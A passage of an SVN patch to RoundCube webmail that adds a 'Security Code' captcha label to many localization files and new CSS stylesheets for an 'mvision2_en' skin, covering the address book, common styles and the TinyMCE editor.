 $labels['password'] = 'Fjalëkalimi';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Serveri';
 $labels['login'] = 'Hyr';
 $labels['logout'] = 'Dil';
Index: program/localization/sr_CS/labels.inc
===================================================================
--- program/localization/sr_CS/labels.inc	(revision 2336)
+++ program/localization/sr_CS/labels.inc	(working copy)
@@ -21,6 +21,7 @@
 $labels['welcome'] = 'Добродошли на $product';
 $labels['username'] = 'Корисничко име';
 $labels['password'] = 'Лозинка';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Сервер';
 $labels['login'] = 'Пријава';
 $labels['logout'] = 'Одјава';
Index: program/localization/sv_SE/labels.inc
===================================================================
--- program/localization/sv_SE/labels.inc	(revision 2336)
+++ program/localization/sv_SE/labels.inc	(working copy)
@@ -23,7 +23,9 @@
 $labels['welcome'] = 'Välkommen till $product';
 $labels['username'] = 'Användarnamn';
 $labels['password'] = 'Lösenord';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Server';
+$labels['capctha'] = 'Säkerhetskod';
 $labels['login'] = 'Logga in';
 $labels['logout'] = 'Logga ut';
 $labels['mail'] = 'Meddelanden';
Index: program/localization/th_TH/labels.inc
===================================================================
--- program/localization/th_TH/labels.inc	(revision 2336)
+++ program/localization/th_TH/labels.inc	(working copy)
@@ -21,6 +21,7 @@
 $labels['welcome'] = 'ยินดีต้อนรับสู่ $product';
 $labels['username'] = 'บัญชีผู้ใช้';
 $labels['password'] = 'รหัสผ่าน';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'เซิร์ฟเวอร์';
 $labels['login'] = 'เข้าสู่ระบบ';
 $labels['logout'] = 'ออกจากระบบ';
@@ -171,4 +172,4 @@
 $labels['sortasc'] = 'เรียงจากหน้าไปหลัง';
 $labels['sortdesc'] = 'เรียงจากหลังไปหน้า';
 
-?>
\ No newline at end of file
+?>
Index: program/localization/tr_TR/labels.inc
===================================================================
--- program/localization/tr_TR/labels.inc	(revision 2336)
+++ program/localization/tr_TR/labels.inc	(working copy)
@@ -22,6 +22,7 @@
 $labels['welcome'] = '$product, Hoş Geldiniz';
 $labels['username'] = 'Kullanıcı Adı';
 $labels['password'] = 'Şifre';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Sunucu';
 $labels['login'] = 'Oturum Aç';
 $labels['logout'] = 'Oturumu Kapat';
Index: program/localization/uk_UA/labels.inc
===================================================================
--- program/localization/uk_UA/labels.inc	(revision 2336)
+++ program/localization/uk_UA/labels.inc	(working copy)
@@ -21,6 +21,7 @@
 $labels['welcome'] = 'Ласкаво просимо в $product!';
 $labels['username'] = 'Ім`я користувача';
 $labels['password'] = 'Пароль';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Сервер';
 $labels['login'] = 'Увійти';
 $labels['logout'] = 'Вийти';
@@ -181,4 +182,4 @@
 $labels['sortasc'] = 'Сортувати за зростанням';
 $labels['sortdesc'] = 'Сортувати за спаданням';
 
-?>
\ No newline at end of file
+?>
Index: program/localization/vi_VN/labels.inc
===================================================================
--- program/localization/vi_VN/labels.inc	(revision 2336)
+++ program/localization/vi_VN/labels.inc	(working copy)
@@ -23,6 +23,7 @@
 $labels['welcome']   = 'Xin mời sử dụng $product';
 $labels['username']  = 'Tên người dùng';
 $labels['password']  = 'Mật khẩu';
+$labels['captcha'] = 'Security Code';
 $labels['server']    = 'Máy chủ?';
 $labels['login']     = 'Đăng nhập';
 
@@ -214,4 +215,4 @@
 $labels['sortasc']  = 'Xếp tăng dần';
 $labels['sortdesc'] = 'Xếp giảm dần';
 
-?>
\ No newline at end of file
+?>
Index: program/localization/zh_CN/labels.inc
===================================================================
--- program/localization/zh_CN/labels.inc	(revision 2336)
+++ program/localization/zh_CN/labels.inc	(working copy)
@@ -22,6 +22,7 @@
 $labels['welcome'] = '欢迎使用 $product';
 $labels['username'] = '用户名';
 $labels['password'] = '密码';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = '服务器';
 $labels['login'] = '登录';
 $labels['logout'] = '注销';
Index: program/localization/zh_TW/labels.inc
===================================================================
--- program/localization/zh_TW/labels.inc	(revision 2336)
+++ program/localization/zh_TW/labels.inc	(working copy)
@@ -25,6 +25,7 @@
 $labels['welcome'] = '歡迎使用 $product';
 $labels['username'] = '使用者名稱';
 $labels['password'] = '使用者密碼';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = '伺服器';
 $labels['login'] = '登入';
 
@@ -303,4 +304,4 @@
 $labels['sortasc'] = '遞增排序';
 $labels['sortdesc'] = '遞減排序';
 
-?>
\ No newline at end of file
+?>
Index: skins/mvision2_en/addresses.css
===================================================================
--- skins/mvision2_en/addresses.css	(revision 0)
+++ skins/mvision2_en/addresses.css	(revision 0)
@@ -0,0 +1,216 @@
+/***** RoundCube|Mail address book task styles *****/
+
+
+#abooktoolbar
+{
+  position: absolute;
+  top: 38px;
+  left: 15px;
+  height: 35px;
+}
+
+#abooktoolbar a
+{
+  padding-right: 0px;
+}
+
+#abookcountbar
+{
+  position: absolute;
+  bottom: 0px;
+  left: 185px;
+  width: 300px;
+  height: 40px;
+  text-align: left;
+  background-image: url('images/messagecoutbar-bottom.jpg');
+  background-repeat: no-repeat;
+}
+
+#abookcountbar-lable
+{
+ padding-left: 75px;
+ padding-top: 13px;
+}
+
+
+
+#bottom-bar
+{
+  position: absolute;
+  bottom: 0px;
+  height: 40px;
+  width: 100%;
+  white-space: nowrap;
+  background-image: url('images/bg-bottom.jpg');
+  background-repeat: repeat-x;
+}
+
+
+
+#abookcountbar span
+{
+  font-size: 11px;
+  color: #333333;
+}
+
+#directorylist, #addresslist
+{
+  position: absolute;
+  top: 85px;
+  bottom: 40px;
+  border: 1px solid #BCCCDA;
+  border-top: 0px;
+  background-color: #ffffff;
+  overflow: auto;
+  /* css hack for IE */
+  height: expression((parseInt(document.documentElement.clientHeight)-135)+'px');  
+}
+
+#directorylist
+{
+  left: 0px;
+  width: 150px;
+}
+
+#addresslist
+{
+  left: 185px;
+  width: 340px;
+}
+
+#directorylist ul
+{
+  list-style: none;
+  margin: 0;
+  padding: 0;
+}
+
+#directorylist ul li
+{
+  font-size: 11px;
+  border-bottom: 1px solid #EBEBEB;
+}
+
+#directorylist ul li a
+{
+  display: block;
+  padding-left: 6px;
+  padding-top: 2px;
+  padding-bottom: 2px;
+  text-decoration: none;
+}
+
+#directorylist li.selected
+{
+  background-color: #929292;
+  border-bottom: 1px solid #898989;
+}
+
+#directorylist li.selected a
+{
+  color: #FFF;
+  font-weight: bold;
+}
+
+#directorylist li.droptarget
+{
+  background-color: #FFFFA6;
+}
+
+
+#contacts-table
+{
+  width: 100%;
+  table-layout: fixed;
+  /* css hack for IE */
+  width: expression(document.getElementById('addresslist').clientWidth);
+}
+
+
+#contacts-table tbody td
+{
+  cursor: pointer;
+}
+
+
+#contacts-box
+{
+  position: absolute;
+  top: 85px;
+  left: 540px;
+  right: 0px;
+  bottom: 40px;
+  border: 1px solid #BCCCDA;
+  overflow: hidden;
+  /* css hack for IE */
+  width: expression((parseInt(document.documentElement.clientWidth)-45-document.getElementById('addresslist').offsetLeft-document.getElementById('addresslist').offsetWidth)+'px');
+  height: expression((parseInt(document.documentElement.clientHeight)-135)+'px');
+}
+
+
+#addressviewsplitter
+{
+  background-position: 4px center;
+}
+
+#addressviewsplitter .splitterLine
+{
+  margin-left: 3px;
+  width: 6px;
+}
+
+
+body.iframe,
+#contact-frame
+{
+  background-color: #ffffff;
+}
+
+#contact-frame
+{
+  border: none;
+/* visibility: hidden; */
+}
+
+#contact-title, #groups-title
+{
+  height: 16px !important;
+  height: 24px;
+  padding: 4px 5px 3px 5px;
+  border-bottom: 0px;
+  color: #2F4A66;
+  font-size: 11px;
+  font-weight: bold;
+  background-color: #EBEBEB;
+  background-image: url('images/listheader_aqua-1.png');
+  white-space: nowrap;
+}
+
+#contact-title
+{
+  padding: 4px 10px 3px 10px;
+}
+
+#contact-details
+{
+  padding: 15px 10px 10px 10px;
+}
+
+#contact-details table td.title
+{
+  color: #2F4A66;
+  font-weight: bold;
+  text-align: right;
+  padding-right: 10px;
+}
+
+#quicksearch
+{
+ text-align: right;
+ padding-right: 215px;
+ padding-top: 15px;
+ font-size: 11px;
+ color: #3D6185;
+ /* font-weight: bold; */
+}
+
Index: skins/mvision2_en/blank.gif
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\blank.gif
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/common.css
===================================================================
--- skins/mvision2_en/common.css	(revision 0)
+++ skins/mvision2_en/common.css	(revision 0)
@@ -0,0 +1,91 @@
+/***** RoundCube|Mail basic styles *****/
+body {margin: 0px;background-color: #f6f6f6; /* #EBEBEB; */color: #000000;}
+img{border:none}
+body.iframe {margin: 0px;}
+body.preview {margin: 0px;background-color: #ffffff;}
+body.extwin {margin: 10px;}
+body, td, th, span, div, p, h3 {font-family: Tahoma;font-size: 11px;color: #000000;}
+th {font-weight: normal;}
+h3 {font-family: Tahoma;font-size: 11px;color: #000000;}
+a, a:active, a:visited {color: #000000;outline: none;}
+a.button, a.button:visited, a.tab, a.tab:visited, a.axislist {color: #000000;text-decoration: none;}
+a.tab {width: 80px;display: block;text-align: center;}
+hr {height: 1px;background-color: #666666;border-style: none;}
+input, textarea {font-size: 11px;font-family: Tahoma;padding: 1px;padding-left: 3px;padding-right: 3px;background-color: #ffffff;border: 1px solid #86A5C1;}
+input[type="checkbox"], input[type="radio"] {border: 0;padding: 0;}
+input.button {height: 22px;color: #333333;font-size: 11px;padding-left: 8px;padding-right: 8px;padding-bottom: 4px;background: url('images/buttons/bg.png') repeat-x #f0f0f0;border: 1px solid #A4BCD5;}
+input.button:hover {color: black;}
+input.login-button {height: 25px;width: 73px;color: #395B7D;font-size: 11px;padding-bottom: 8px;background: url('images/buttons/login-button.png');border: 0px solid #a4a4a4;}
+input.login-button:hover {color: black;}
+.alttext {font-size: 11px;}
+/** common user interface objects */
+#header {position: absolute;top: 10px;left: 20px;width: 170px;height: 40px;z-index: 100;}
+#top_bar {background-image: url('images/top_bar.jpg');}
+#taskbar {position: absolute;top: 0px;right: 0px;width: 600px;height: 27px;padding: 8px 0px 0px 0px;text-align: right;white-space: nowrap;z-index: 0;}
+#taskbar a, #taskbar a:active, #taskbar a:visited {font-size: 11px;color: #ffffff;text-decoration: none;padding: 8px 16px 15px 38px;background-repeat: no-repeat;}
+#taskbar a:hover {color: #333333;}
+a.button-mail {background-image: url('images/buttons/mail.jpg');}
+a.button-addressbook {background-image: url('images/buttons/addressbook.jpg');}
+a.button-settings {background-image: url('images/buttons/settings.jpg');}
+a.button-logout {background-image: url('images/buttons/logout.jpg');}
+#message {position: absolute;display: none;top: 40px;left: 200px;right: 200px;z-index: 5000;opacity: 0.90;font-weight:bold;font-size:13px;line-height:24px;height:24px;}
+#message div {width: 400px;margin: 0px auto;height: 24px;min-height: 24px;padding: 8px 10px 8px 46px;}
+#message div.notice, #remote-objects-message {background: url('images/display/info.png') 6px 3px no-repeat;background-color: #F7FDCB;border: 1px solid #C2D071;}
+#message div.error, #message div.warning {background: url('images/display/warning.png') 6px 3px no-repeat;background-color: #EF9398;border: 1px solid #DC5757;}
+#message div.confirmation {background: url('images/display/confirm.png') 6px 3px no-repeat;background-color: #A6EF7B;border: 1px solid #76C83F;}
+#message div.loading {background: url('images/display/loading.gif') 6px 3px no-repeat;background-color: #EBEBEB;border: 1px solid #CCCCCC;}
+.splitter {position: absolute;padding: 0px;background: url('images/dimple.png') center no-repeat;}
+.splitter-h {cursor: n-resize;background-position: center 2px;background-color: #ffffff;}
+.splitter-v {cursor: e-resize;background-position: 1px center;}
+.boxtitle {height: 24px !important;background-color: #EBEBEB;background-image: url('images/login-welcome.png');}
+.welcome-text {font-size: 11px;font-weight: bold;padding-top: 4px;padding-left: 26px;color: #314E6A;}
+.radios-left label {padding-left: 0.3em;}
+/***** common table settings ******/
+table.records-table thead tr td {height: 24px;padding: 0px 4px 0px 8px;vertical-align: middle;border-bottom: 0px;color: #2F4A66;background-color: #EBEBEB;background-image: url('images/listheader_aqua-0.png');font-size: 11px;font-weight: bold;}
+table.records-table tbody tr td {height: 16px;padding: 2px 4px 2px 8px;font-size: 11px;white-space: nowrap;border-bottom: 1px solid #D7E2EC;border-top: 1px solid #ffffff;overflow: hidden;text-align: left;}
+table.records-table tr {background-color: #EFF3F8;}
+table.records-table tr.selected td {font-weight: bold;color: #FFFFFF;background-color: #6D95BC;}
+table.records-table tr.focused td {}
+table.records-table tr.unfocused td {font-weight: bold;color: #ffffff;background-color: #A9C0D8;}
+table.profile-table thead tr td {height: 23px;padding: 0px 4px 0px 8px;vertical-align: middle;border-bottom: 0px;color: #2F4A66;background-color: #EBEBEB;background-image: url('images/listheader_aqua-1.png');font-size: 11px;font-weight: bold;}
+table.profile-table tbody tr td {height: 16px;padding: 2px 4px 2px 8px;font-size: 11px;white-space: nowrap;border-bottom: 1px solid #D7E2EC;border-top: 0px solid #ffffff;overflow: hidden;text-align: left;}
+table.profile-table tr {background-color: #EFF3F8;}
+table.profile-table tr.selected td {font-weight: bold;color: #FFFFFF;background-color: #6D95BC;}
+table.profile-table tr.focused td {}
+table.profile-table tr.unfocused td {font-weight: bold;color: #ffffff;background-color: #A9C0D8;}
+table.profileedit-table thead tr td {height: 23px;padding: 0px 4px 0px 8px;vertical-align: middle;border-bottom: 0px;color: #2F4A66;background-color: #EBEBEB;background-image: url('images/listheader_aqua-1.png');font-size: 11px;font-weight: bold;}
+table.profileedit-table tbody tr td {height: 16px;padding: 2px 4px 2px 8px;font-size: 11px;white-space: nowrap;border-bottom: 1px solid #D7E2EC;border-top: 0px solid #ffffff;overflow: hidden;text-align: left;}
+table.profileedit-table tr {background-color: #EFF3F8;}
+table.profileedit-table tr.selected td {font-weight: bold;color: #FFFFFF;background-color: #6D95BC;}
+table.profileedit-table tr.focused td {}
+table.profileedit-table tr.unfocused td {font-weight: bold;color: #ffffff;background-color: #A9C0D8;}
+table.profilenew-table thead tr td {height: 23px;padding: 0px 4px 0px 8px;vertical-align: middle;border-bottom: 0px;color: #2F4A66;background-color: #EBEBEB;background-image: url('images/listheader_aqua-1.png');font-size: 11px;font-weight: bold;}
+table.profilenew-table tbody tr td {height: 16px;padding: 2px 4px 2px 8px;font-size: 11px;white-space: nowrap;border-bottom: 1px solid #D7E2EC;border-top: 0px solid #ffffff;overflow: hidden;text-align: left;}
+table.profilenew-table tr {background-color: #EFF3F8;}
+table.profilenew-table tr.selected td {font-weight: bold;color: #FFFFFF;background-color: #6D95BC;}
+table.profilenew-table tr.focused td {}
+table.profilenew-table tr.unfocused td {font-weight: bold;color: #ffffff;background-color: #A9C0D8;}
+/**loading layout**/
+#loadingLayout{position:absolute;z-index:10000;top:85px;left:181px;right:0px;bottom:42px;background: #F6F6F6 url('images/display/loading.gif') center no-repeat;}
+/***** mac-style quicksearch field *****/
+#quicksearchbar {position: absolute;top: 45px;right: 30px;width: 180px;height: 25px;text-align: right;background: url('images/searchfield.jpg') top left no-repeat;}
+#quicksearchbar a {position: absolute;top: 5px;right: 5px;text-decoration: none;}
+#quicksearchbar img {vertical-align: middle;}
+#quicksearchbox {background: url('images/bg-search.png') top left no-repeat;position: absolute;top: 5px;left: 23px;width: 126px;height: 15px;font-size: 11px;border: none;}
+/*\*/
+html>body*#quicksearchbar[id$="quicksearchbar"]:not([class="none"]) {
+background-image: none;}
+html>body*#quicksearchbar[id$="quicksearchbar"]:not([class="none"]) a {
+top: 5px;}
+html>body*#quicksearchbar[id$="quicksearchbar"]:not([class="none"]) #quicksearchbox {
+width: 180px;top:0px;right: 1px;left: auto;}
+/**/
+/***** roundcube webmail pre-defined classes *****/
+#rcversion {position: absolute;top: 67px;left: 20px;width: 160px;text-align: center;font-weight: normal;font-size: x-small;font-variant: small-caps;color: #999999;/*border: 1px solid #308014;  background-color: #b4eeb4;*/}
+#rcmdraglayer {width: 300px;border: 1px solid #86A5C1;background-color: #D7E1EC;padding-left: 8px;padding-right: 8px;padding-top: 3px;padding-bottom: 3px;font-size: 11px;opacity: 0.6;-moz-opacity: 0.6;}
+a.rcmContactAddress {text-decoration: none;}
+a.rcmContactAddress:hover {text-decoration: underline;}
+#rcmKSearchpane {background-color: #ffffff;border: 1px solid #86A5C1;}
+#rcmKSearchpane ul {margin: 0px;padding: 2px;list-style-image: none;list-style-type: none;}
+#rcmKSearchpane ul li {height: 16px;font-size: 11px;padding-left: 8px;padding-top: 2px;padding-right: 8px;white-space: nowrap;}
+#rcmKSearchpane ul li.selected {color: #ffffff;background-color: #6D95BC;}
Index: skins/mvision2_en/editor_content.css
===================================================================
--- skins/mvision2_en/editor_content.css	(revision 0)
+++ skins/mvision2_en/editor_content.css	(revision 0)
@@ -0,0 +1,58 @@
+/* This file contains the CSS data for the editable area(iframe) of TinyMCE */
+/* You can extend this CSS by adding your own CSS file with the the content_css option */
+
+body, td, pre {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 10px;
+}
+
+body {
+	background-color: #FFFFFF;
+}
+
+.mceVisualAid {
+	border: 1px dashed #BBBBBB !important;
+}
+
+div.mceVisualAid {
+	background-image:url('../images/spacer.gif');
+	visibility: visible !important;
+}
+
+.mceItemAnchor {
+	width: 12px;
+	line-height: 6px;
+	overflow: hidden;
+	padding-left: 12px;
+	background-image: url('../images/anchor_symbol.gif');
+	background-position: bottom;
+	background-repeat: no-repeat;
+}
+
+/* Important is needed in Gecko browsers inorder to style links */
+/*
+a {
+	color: green !important;
+}
+*/
+
+/* Style selection range colors in Gecko browsers */
+/*
+::-moz-selection {
+	background-color: red;
+	color: green;
+}
+*/
+
+/* MSIE specific */
+
+* html body {
+	scrollbar-3dlight-color: #F0F0EE;
+	scrollbar-arrow-color: #676662;
+	scrollbar-base-color: #F0F0EE;
+	scrollbar-darkshadow-color: #DDDDDD;
+	scrollbar-face-color: #E0E0DD;
+	scrollbar-highlight-color: #F0F0EE;
+	scrollbar-shadow-color: #F0F0EE;
+	scrollbar-track-color: #F5F5F5;
+}
Index: skins/mvision2_en/editor_popup.css
===================================================================
--- skins/mvision2_en/editor_popup.css	(revision 0)
+++ skins/mvision2_en/editor_popup.css	(revision 0)
@@ -0,0 +1,331 @@
+/* This file contains the CSS data for all popups in TinyMCE */
+
+body {
+	background-color: #F0F0EE;
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 11px;
+	scrollbar-3dlight-color: #F0F0EE;
+	scrollbar-arrow-color: #676662;
+	scrollbar-base-color: #F0F0EE;
+	scrollbar-darkshadow-color: #DDDDDD;
+	scrollbar-face-color: #E0E0DD;
+	scrollbar-highlight-color: #F0F0EE;
+	scrollbar-shadow-color: #F0F0EE;
+	scrollbar-track-color: #F5F5F5;
+	margin: 8px;
+}
+
+td {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 11px;
+}
+
+input {
+	background: #FFFFFF;
+	border: 1px solid #cccccc;
+}
+
+td, input, select, textarea {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 10px;
+}
+
+input, select, textarea {
+	border: 1px solid #808080;
+}
+
+.input_noborder {
+	border: 0;
+}
+
+#insert, .updateButton {
+   font-weight: bold;
+   width: 90px;
+   height: 21px;
+   border: 0;
+   background-image: url('../images/insert_button_bg.gif');
+   cursor: pointer;
+}
+
+#cancel {
+   font-weight: bold;
+   width: 90px;
+   height: 21px;
+   border: 0;
+   background-image: url('../images/cancel_button_bg.gif');
+   cursor: pointer;
+}
+
+/* Mozilla only style */
+html>body #insert, html>body #cancel {
+	padding-bottom: 2px;
+}
+
+.title {
+	font-size: 12px;
+	font-weight: bold;
+	color: #2B6FB6;
+}
+
+table.charmap {
+	border-style: solid;
+	border-width: 1px;
+	border-color: #AAAAAA;
+}
+
+td.charmap, td.charmapOver {
+	color: #000000;
+	border-color: #AAAAAA;
+	border-style: solid;
+	border-width: 1px;
+	text-align: center;
+	font-size: 12px;
+}
+
+td.charmapOver {
+	background-color: #CCCCCC;
+	cursor: default;
+}
+
+a.charmap {
+	color: #000000;
+	text-decoration: none
+}
+
+.wordWrapCode {
+	vertical-align: middle;
+	border: 1px none #000000;
+	background-color: transparent;
+}
+
+input.radio {
+	border: 1px none #000000;
+	background-color: transparent;
+	vertical-align: middle;
+}
+
+input.checkbox {
+	border: 1px none #000000;
+	background-color: transparent;
+	vertical-align: middle;
+}
+
+.mceButtonNormal, .mceButtonOver, .mceButtonDown, .mceSeparator, .mceButtonDisabled, .mceButtonSelected {
+	margin-left: 1px;
+}
+
+.mceButtonNormal {
+	border-top: 1px solid;
+	border-left: 1px solid;
+	border-bottom: 1px solid;
+	border-right: 1px solid;
+	border-color: #F0F0EE;
+	cursor: default;
+}
+
+.mceButtonOver {
+	border: 1px solid #0A246A;
+	cursor: default;
+	background-color: #B6BDD2;
+}
+
+.mceButtonDown {
+	cursor: default;
+	border: 1px solid #0A246A;
+	background-color: #8592B5;
+}
+
+.mceButtonDisabled {
+	filter:progid:DXImageTransform.Microsoft.Alpha(opacity=30);
+	-moz-opacity:0.3;
+	opacity: 0.3;
+	border-top: 1px solid;
+	border-left: 1px solid;
+	border-bottom: 1px solid;
+	border-right: 1px solid;
+	border-color: #F0F0EE;
+	cursor: default;
+}
+
+.mceActionPanel {
+	margin-top: 5px;
+}
+
+/* Tabs classes */
+
+.tabs {
+	float: left;
+	width: 100%;
+	line-height: normal;
+	background-image: url("../images/xp/tabs_bg.gif");
+}
+
+.tabs ul {
+	margin: 0;
+	padding: 0 0 0;
+	list-style: none;
+}
+
+.tabs li {
+	float: left;
+	background: url("../images/xp/tab_bg.gif") no-repeat left top;
+	margin: 0;
+	margin-left: 0;
+	margin-right: 2px;
+	padding: 0 0 0 10px;
+	line-height: 18px;
+}
+
+.tabs li.current {
+	background: url("../images/xp/tab_sel_bg.gif") no-repeat left top;
+	margin-right: 2px;
+}
+
+.tabs span {
+	float: left;
+	display: block;
+	background: url("../images/xp/tab_end.gif") no-repeat right top;
+	padding: 0px 10px 0 0;
+}
+
+.tabs .current span {
+	background: url("../images/xp/tab_sel_end.gif") no-repeat right top;
+}
+
+.tabs a {
+	text-decoration: none;
+	font-family: Verdana, Arial;
+	font-size: 10px;
+}
+
+.tabs a:link, .tabs a:visited, .tabs a:hover {
+	color: black;
+}
+
+.tabs a:hover {
+}
+
+.tabs .current {
+}
+
+.tabs .current a, .tabs .current a:link, .tabs .current a:visited {
+}
+
+.panel_wrapper div.panel {
+	display: none;
+}
+
+.panel_wrapper div.current {
+	display: block;
+	width: 100%;
+	height: 300px;
+	overflow: visible; /* Should be auto but that breaks Safari */
+}
+
+.panel_wrapper {
+	border: 1px solid #919B9C;
+	border-top: 0px;
+	padding: 10px;
+	padding-top: 5px;
+	clear: both;
+	background-color: white;
+}
+
+fieldset {
+	border: 1px solid #919B9C;
+	font-family: Verdana, Arial;
+	font-size: 10px;
+	padding: 0;
+	margin: 0;
+	padding: 4px;
+}
+
+legend {
+	color: #2B6FB6;
+	font-weight: bold;
+}
+
+.properties {
+	width: 100%;
+}
+
+.properties .column1 {
+}
+
+.properties .column2 {
+	text-align: left;
+}
+
+a:link, a:visited {
+	color: black;
+}
+
+a:hover {
+	color: #2B6FB6;
+}
+
+#plugintable thead {
+	font-weight: bold;
+	background-color: #DDDDDD;
+}
+
+#plugintable, #about #plugintable td {
+	border: 1px solid #919B9C;
+}
+
+#plugintable {
+	width: 99%;
+	margin-top: 10px;
+}
+
+#pluginscontainer {
+	height: 290px;
+	overflow: auto;
+}
+
+/* MSIE Specific styles */
+
+* html .panel_wrapper {
+	width: 100%;
+}
+
+.column {
+	float: left;
+}
+
+h1, h2, h3, h4 {
+	color: #2B6FB6;
+	margin: 0;
+	padding: 0;
+	padding-top: 5px;
+}
+
+h3 {
+	font-size: 14px;
+}
+
+#link .panel_wrapper, #link div.current {
+	height: 125px;
+}
+
+#image .panel_wrapper, #image div.current {
+	height: 190px;
+}
+
+label.msg { display: none; }
+label.invalid { color: #EE0000; display: inline; }
+input.invalid { border: 1px solid #EE0000; }
+
+/* Disables the advanced tab in the table plugin. */
+/*
+#table #advanced_tab {
+	display: none;
+}
+*/
+
+/* Disables the border input field and label in the table plugin. */
+/*
+#table #border, #table #borderlabel {
+	display: none;
+}
+*/
Index: skins/mvision2_en/editor_ui.css
===================================================================
--- skins/mvision2_en/editor_ui.css	(revision 0)
+++ skins/mvision2_en/editor_ui.css	(revision 0)
@@ -0,0 +1,97 @@
+/* This file contains the CSS data for the editor UI of TinyMCE instances */
+
+.mceToolbarTop a, .mceToolbarTop a:visited, .mceToolbarTop a:hover, .mceToolbarBottom a, .mceToolbarBottom a:visited, .mceToolbarBottom a:hover {border: 0; margin: 0; padding: 0; background: transparent;}
+.mceSeparatorLine {border: 0; padding: 0; margin-left: 4px; margin-right: 2px;}
+.mceSelectList {font-family: 'MS Sans Serif', sans-serif, Verdana, Arial; font-size: 7pt !important; font-weight: normal; margin-top: 3px; padding: 0; display: inline; vertical-align: top; background-color: #F0F0EE;}
+.mceLabel, .mceLabelDisabled {font-family: 'MS Sans Serif', sans-serif, Verdana, Arial; font-size: 9pt;}
+.mceLabel {color: #000000;}
+.mceLabelDisabled {cursor: text; color: #999999;}
+.mceEditor {background: #F0F0EE; border: 1px solid #cccccc; padding: 0; margin: 0;}
+.mceEditorArea { font-family: 'MS Sans Serif', sans-serif, Verdana, Arial; background: #FFFFFF; padding: 0; margin: 0; }
+.mceToolbarTop, .mceToolbarBottom {background: #F0F0EE; line-height: 1px; font-size: 1px;}
+.mceToolbarTop {border-bottom: 1px solid #cccccc; padding-bottom: 1px;}
+.mceToolbarBottom {border-top: 1px solid #cccccc;}
+.mceToolbarContainer {display: block; position: relative; left: 0; top: 0; width: 100%;}
+.mceStatusbarTop, .mceStatusbarBottom, .mceStatusbar {height: 20px;}
+.mceStatusbarTop .mceStatusbarPathText, .mceStatusbarBottom .mceStatusbarPathText, .mceStatusbar .mceStatusbarPathText {font-family: 'MS Sans Serif', sans-serif, Verdana, Arial; font-size: 9pt; padding: 2px; line-height: 16px; overflow: visible;}
+.mceStatusbarTop {border-bottom: 1px solid #cccccc;}
+.mceStatusbarBottom {border-top: 1px solid #cccccc;}
+.mceStatusbar {border-bottom: 1px solid #cccccc;}
+.mcePathItem, .mcePathItem:link, .mcePathItem:visited, .mcePathItem:hover {text-decoration: none; font-family: 'MS Sans Serif', sans-serif, Verdana, Arial; font-size: 9pt; color: #000000;}
+.mcePathItem:hover {text-decoration: underline;}
+.mceStatusbarPathText {float: left;}
+.mceStatusbarResize {float: right; background-image: url('../images/statusbar_resize.gif'); background-repeat: no-repeat; width: 11px; height: 20px; cursor: se-resize;}
+.mceResizeBox {width: 10px; height: 10px; display: none; border: 1px dotted gray; margin: 0; padding: 0;}
+.mceEditorIframe {border: 0;}
+
+/* Button CSS rules */
+
+a.mceButtonDisabled img, a.mceButtonNormal img, a.mceButtonSelected img {width: 20px; height: 20px; cursor: default; margin-top: 1px; margin-left: 1px;}
+a.mceButtonDisabled img {border: 0 !important;}
+a.mceButtonNormal img, a.mceButtonSelected img {border: 1px solid #F0F0EE !important;}
+a.mceButtonSelected img {border: 1px solid #6779AA !important; background-color: #D4D5D8;}
+a.mceButtonNormal img:hover, a.mceButtonSelected img:hover {border: 1px solid #0A246A !important; cursor: default; background-color: #B6BDD2;}
+a.mceButtonDisabled img {-moz-opacity:0.3; opacity: 0.3; border: 1px solid #F0F0EE !important; cursor: default;}
+a.mceTiledButton img {background-image: url('../images/buttons.gif'); background-repeat: no-repeat;}
+
+/* Menu button CSS rules */
+
+span.mceMenuButton img, span.mceMenuButtonSelected img {border: 1px solid #F0F0EE; margin-left: 1px;}
+span.mceMenuButtonSelected img {border: 1px solid #6779AA; background-color: #B6BDD2;}
+span.mceMenuButtonSelected img.mceMenuButton {border: 1px solid #F0F0EE; background-color: transparent;}
+span.mceMenuButton img.mceMenuButton, span.mceMenuButtonSelected img.mceMenuButton {border-left: 0; margin-left: 0;}
+span.mceMenuButton:hover img, span.mceMenuButtonSelected:hover img {border: 1px solid #0A246A; background-color: #B6BDD2;}
+span.mceMenuButton:hover img.mceMenuButton, span.mceMenuButtonSelected:hover img.mceMenuButton {border-left: 0;}
+span.mceMenuButtonFocus img {border: 1px solid gray; border-right: 0; margin-left: 1px; background-color: #F5F4F2;}
+span.mceMenuButtonFocus img.mceMenuButton {border: 1px solid gray; border-left: 1px solid #F5F4F2; margin-left: 0;}
+span.mceMenuHover img {border: 1px solid #0A246A; background-color: #B6BDD2;}
+span.mceMenuButtonSelected.mceMenuHover img.mceMenuButton {border: 1px solid #0A246A; background-color: #B6BDD2; border-left: 0;}
+
+/* Menu */
+
+.mceMenu {position: absolute; left: 0; top: 0; display: none; z-index: 1000; background-color: white; border: 1px solid gray; font-weight: normal;}
+.mceMenu a, .mceMenuTitle, .mceMenuDisabled {display: block; width: 100%; text-decoration: none; background-color: white; font-family: Tahoma, Verdana, Arial, Helvetica; font-size: 11px; line-height: 20px; color: black;}
+.mceMenu a:hover {background-color: #B6BDD2; color: black; text-decoration: none !important;}
+.mceMenu span {padding-left: 10px; padding-right: 10px; display: block; line-height: 20px;}
+.mceMenuSeparator {border-bottom: 1px solid gray; background-color: gray; height: 1px;}
+.mceMenuTitle span {padding-left: 5px;}
+.mceMenuTitle {background-color: #DDDDDD; font-weight: bold;}
+.mceMenuDisabled {color: gray;}
+span.mceMenuSelectedItem {background-image: url('../images/menu_check.gif'); background-repeat: no-repeat; background-position: 5px 8px; padding-left: 20px;}
+span.mceMenuCheckItem {padding-left: 20px;}
